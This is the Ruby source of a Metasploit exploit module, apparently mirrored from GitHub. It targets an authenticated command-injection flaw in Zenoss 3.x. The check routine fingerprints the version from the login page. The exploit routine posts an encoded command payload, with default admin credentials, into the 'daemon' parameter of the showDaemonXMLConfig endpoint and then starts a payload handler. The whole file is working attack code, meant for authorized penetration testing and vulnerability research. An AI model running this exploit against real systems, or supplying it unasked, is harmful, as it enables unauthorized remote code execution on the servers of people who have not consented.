modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb - master - githubmirror/metasploit-framework

modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb
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adfoster-r7
Update checkcodes and bug fixes
30 апр 2026, 17:42
30 апр 2026, 17:423bee31f
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Zenoss 3 showDaemonXMLConfig Command Execution',
        'Description' => %q{
          This module exploits a command execution vulnerability in Zenoss 3.x
          which could be abused to allow authenticated users to execute arbitrary
          code under the context of the 'zenoss' user. The show_daemon_xml_configs()
          function in the 'ZenossInfo.py' script calls Popen() with user
          controlled data from the 'daemon' parameter.
        },
        'References' => [
          ['CVE', '2012-10048'],
          ['URL', 'http://web.archive.org/web/20221203180334/https://itsecuritysolutions.org/2012-07-30-zenoss-3.2.1-multiple-security-vulnerabilities/'],
          ['OSVDB', '84408']
        ],
        'Author' => [
          'bcoles', # Discovery and exploit
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Arch' => ARCH_CMD,
        'Platform' => 'unix',
        'Payload' => {
          'Space' => 1024,
          'BadChars' => "\x00",
          'DisableNops' => true,
          'Compat'	=>
                        {
                          'PayloadType' => 'cmd',
                          'RequiredCmd' => 'generic python perl',
                        },
        },
        'Targets' => [
          [
            'Automatic Targeting', { 'auto' => true }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2012-07-30',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      Opt::RPORT(8080),
      OptString.new('USERNAME', [true, 'The Zenoss username', 'admin']),
      OptString.new('PASSWORD', [true, 'The Zenoss password', 'zenoss'])
    ])
  end

  def check
    # retrieve software version from login page
    begin
      res = send_request_raw({
        'method' => "GET",
        'uri' => "/zport/acl_users/cookieAuthHelper/login_form"
      })
      return Exploit::CheckCode::Unknown('No response received from the target') unless res
      return Exploit::CheckCode::Appears('The target appears to be vulnerable') if res.body =~ /<p>Copyright &copy; 2005-20[\d]{2} Zenoss, Inc\. \| Version\s+<span>3\./
      return Exploit::CheckCode::Detected('The target service was detected') if res.body =~ /<link rel="shortcut icon" type="image\/x\-icon" href="\/zport\/dmd\/favicon\.ico" \/>/

      return Exploit::CheckCode::Safe('The target is not vulnerable')
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      vprint_error("Connection failed")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end
  end

  def exploit
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    command = URI::DEFAULT_PARSER.escape(payload.encoded) + "%26"
    postdata = "__ac_name=#{username}&__ac_password=#{password}&daemon=#{command}"

    # send payload
    print_status("Sending payload to Zenoss (#{command.length.to_s} bytes)")
    begin
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => "/zport/About/showDaemonXMLConfig",
        'data' => "#{postdata}",
      })
      if res and res['Bobo-Exception-Type'] =~ /^Unauthorized$/
        print_error("Authentication failed. Incorrect username/password.")
        return
      end
      print_good("Sent payload successfully")
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("Connection failed")
    rescue
      print_error("Sending payload failed")
    end

    handler
  end
end